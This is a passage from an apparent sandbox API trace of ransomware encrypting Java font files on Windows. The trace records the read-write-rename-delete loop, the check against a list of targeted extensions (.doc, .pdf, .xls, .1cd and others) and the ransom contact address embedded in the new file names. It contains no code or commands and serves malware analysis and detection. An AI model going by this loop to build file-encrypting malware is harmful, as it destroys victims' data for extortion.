hFile=0x4c0, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x12590, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x12590, lpOverlapped=0x0) returned 1 [0234.857] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0234.857] WriteFile (in: hFile=0x4c0, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x104, lpOverlapped=0x0) returned 1 [0234.857] SetEndOfFile (hFile=0x4c0) returned 1 [0234.858] CloseHandle (hObject=0x4c0) returned 1 [0234.858] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0234.858] SetEndOfFile (hFile=0x45c) returned 1 [0234.863] CloseHandle (hObject=0x45c) returned 1 [0234.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0234.864] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 1 [0234.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0234.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0234.864] lstrlenW (lpString=".doc") returned 4 [0234.864] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0234.864] lstrlenW (lpString=".docx") returned 5 [0234.864] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0234.865] lstrlenW (lpString=".pdf") returned 4 [0234.865] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0234.865] lstrlenW (lpString=".xls") returned 4 [0234.865] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0234.865] lstrlenW (lpString=".xlsx") returned 5 [0234.865] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0234.865] lstrlenW (lpString=".ppt") returned 4 [0234.865] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0234.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0234.865] lstrlenW (lpString=".zip") returned 4 [0234.865] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0234.865] lstrlenW (lpString=".rar") returned 4 [0234.865] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0234.865] lstrlenW (lpString=".bz2") returned 4 [0234.865] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0234.865] lstrlenW (lpString=".7z") returned 3 [0234.865] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0234.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0234.865] lstrlenW (lpString=".dbf") returned 4 [0234.865] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0234.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0234.865] lstrlenW (lpString=".1cd") returned 4 [0234.865] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0234.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0234.865] lstrlenW (lpString=".jpg") returned 4 [0234.865] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0234.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0234.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0234.865] lstrlenW (lpString=".doc") returned 4 [0234.866] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0234.866] lstrlenW (lpString=".docx") returned 5 [0234.866] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0234.866] lstrlenW (lpString=".pdf") returned 4 [0234.866] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0234.866] lstrlenW (lpString=".xls") returned 4 [0234.866] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0234.866] lstrlenW (lpString=".xlsx") returned 5 [0234.866] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0234.866] lstrlenW (lpString=".ppt") returned 4 [0234.866] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0234.866] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0234.866] lstrlenW (lpString=".zip") returned 4 [0234.866] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0234.866] lstrlenW (lpString=".rar") returned 4 [0234.866] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0234.866] lstrlenW (lpString=".bz2") returned 4 [0234.866] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0234.866] lstrlenW (lpString=".7z") returned 3 [0234.866] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0234.866] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0234.866] lstrlenW (lpString=".dbf") returned 4 [0234.866] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0234.866] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0234.866] lstrlenW (lpString=".1cd") returned 4 [0234.866] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0234.866] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0234.866] lstrlenW (lpString=".jpg") returned 4 [0234.866] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0234.867] lstrcmpiW (lpString1=".ttf", lpString2=".love$") returned 1 [0234.867] lstrlenW (lpString="LucidaBrightDemiItalic.ttf") returned 26 [0234.867] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0234.868] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=75124) returned 1 [0234.868] CloseHandle (hObject=0x45c) returned 1 [0234.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 0x20 [0234.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.868] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0234.868] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0234.869] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0234.869] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0234.869] GetLastError () returned 0x0 [0234.869] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x12574, lpOverlapped=0x0) returned 1 [0235.305] WriteFile (in: hFile=0x4c0, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x12580, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x12580, lpOverlapped=0x0) returned 1 [0235.307] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0235.307] WriteFile (in: hFile=0x4c0, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x108, lpOverlapped=0x0) returned 1 [0235.308] SetEndOfFile (hFile=0x4c0) returned 1 [0235.308] CloseHandle (hObject=0x4c0) returned 1 [0235.308] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0235.308] SetEndOfFile (hFile=0x45c) returned 1 [0235.313] CloseHandle (hObject=0x45c) returned 1 [0235.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0235.314] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 1 [0235.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0235.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0235.315] lstrlenW (lpString=".doc") returned 4 [0235.315] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0235.315] lstrlenW (lpString=".docx") returned 5 [0235.315] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0235.316] lstrlenW (lpString=".pdf") returned 4 [0235.316] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0235.316] lstrlenW (lpString=".xls") returned 4 [0235.316] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0235.316] lstrlenW (lpString=".xlsx") returned 5 [0235.316] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0235.316] lstrlenW (lpString=".ppt") returned 4 [0235.316] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0235.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0235.316] lstrlenW (lpString=".zip") returned 4 [0235.316] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0235.316] lstrlenW (lpString=".rar") returned 4 [0235.316] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0235.316] lstrlenW (lpString=".bz2") returned 4 [0235.316] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0235.316] lstrlenW (lpString=".7z") returned 3 [0235.316] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0235.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0235.316] lstrlenW (lpString=".dbf") returned 4 [0235.316] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0235.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0235.345] lstrlenW (lpString=".1cd") returned 4 [0235.345] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0235.345] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0235.345] lstrlenW (lpString=".jpg") returned 4 [0235.345] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0235.345] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0235.345] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0235.345] lstrlenW (lpString=".doc") returned 4 [0235.345] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0235.345] lstrlenW (lpString=".docx") returned 5 [0235.345] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0235.345] lstrlenW (lpString=".pdf") returned 4 [0235.345] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0235.345] lstrlenW (lpString=".xls") returned 4 [0235.345] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0235.345] lstrlenW (lpString=".xlsx") returned 5 [0235.345] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0235.345] lstrlenW (lpString=".ppt") returned 4 [0235.345] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0235.345] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0235.345] lstrlenW (lpString=".zip") returned 4 [0235.345] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0235.346] lstrlenW (lpString=".rar") returned 4 [0235.346] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0235.346] lstrlenW (lpString=".bz2") returned 4 [0235.346] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0235.346] lstrlenW (lpString=".7z") returned 3 [0235.346] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0235.346] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0235.346] lstrlenW (lpString=".dbf") returned 4 [0235.346] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0235.346] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0235.346] lstrlenW (lpString=".1cd") returned 4 [0235.346] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0235.346] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0235.346] lstrlenW (lpString=".jpg") returned 4 [0235.346] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0235.346] lstrcmpiW (lpString1=".ttf", lpString2=".love$") returned 1 [0235.346] lstrlenW (lpString="LucidaSansDemiBold.ttf") returned 22 [0235.346] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0235.347] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=317896) returned 1 [0235.347] CloseHandle (hObject=0x45c) returned 1 [0235.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 0x20 [0235.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0235.348] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0235.349] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0235.349] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0235.349] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0235.350] GetLastError () returned 0x0 [0235.350] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x4d9c8, lpOverlapped=0x0) returned 1 [0235.366] WriteFile (in: hFile=0x4c0, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x4d9d0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x4d9d0, lpOverlapped=0x0) returned 1 [0235.375] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0235.375] WriteFile (in: hFile=0x4c0, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x100, lpOverlapped=0x0) returned 1 [0235.376] SetEndOfFile (hFile=0x4c0) returned 1 [0235.376] CloseHandle (hObject=0x4c0) returned 1 [0235.376] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0235.376] SetEndOfFile (hFile=0x45c) returned 1 [0235.822] CloseHandle (hObject=0x45c) returned 1 [0235.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0235.823] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 1 [0235.824] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0235.824] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0235.824] lstrlenW (lpString=".doc") returned 4 [0235.824] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0235.824] lstrlenW (lpString=".docx") returned 5 [0235.824] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0235.824] lstrlenW (lpString=".pdf") returned 4 [0235.824] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0235.824] lstrlenW (lpString=".xls") returned 4 [0235.824] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0235.824] lstrlenW (lpString=".xlsx") returned 5 [0235.824] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0235.824] lstrlenW (lpString=".ppt") returned 4 [0235.824] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0235.824] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0235.824] lstrlenW (lpString=".zip") returned 4 [0235.824] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0235.824] lstrlenW (lpString=".rar") returned 4 [0235.824] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0235.824] lstrlenW (lpString=".bz2") returned 4 [0235.824] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0235.824] lstrlenW (lpString=".7z") returned 3 [0235.824] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0235.825] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0235.825] lstrlenW (lpString=".dbf") returned 4 [0235.825] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0235.825] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0235.825] lstrlenW (lpString=".1cd") returned 4 [0235.825] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0235.825] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0235.825] lstrlenW (lpString=".jpg") returned 4 [0235.825] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0235.825] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0235.825] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0235.825] lstrlenW (lpString=".doc") returned 4 [0235.825] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0235.825] lstrlenW (lpString=".docx") returned 5 [0235.825] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0235.825] lstrlenW (lpString=".pdf") returned 4 [0235.825] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0235.825] lstrlenW (lpString=".xls") returned 4 [0235.825] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0235.825] lstrlenW (lpString=".xlsx") returned 5 [0235.825] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0235.825] lstrlenW (lpString=".ppt") returned 4 [0235.825] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0235.825] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0235.825] lstrlenW (lpString=".zip") returned 4 [0235.825] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0235.825] lstrlenW (lpString=".rar") returned 4 [0235.826] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0235.826] lstrlenW (lpString=".bz2") returned 4 [0235.826] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0235.826] lstrlenW (lpString=".7z") returned 3 [0235.826] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0235.826] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0235.826] lstrlenW (lpString=".dbf") returned 4 [0235.826] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0235.826] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0235.826] lstrlenW (lpString=".1cd") returned 4 [0235.826] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0235.826] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0235.826] lstrlenW (lpString=".jpg") returned 4 [0235.826] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0235.826] lstrcmpiW (lpString1=".ttf", lpString2=".love$") returned 1 [0235.826] lstrlenW (lpString="LucidaTypewriterRegular.ttf") returned 27 [0235.826] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0235.827] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=242700) returned 1 [0235.827] CloseHandle (hObject=0x45c) returned 1 [0235.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 0x20 [0235.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0235.828] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0235.828] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0235.828] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0235.828] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0235.829] GetLastError () returned 0x0 [0235.829] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, 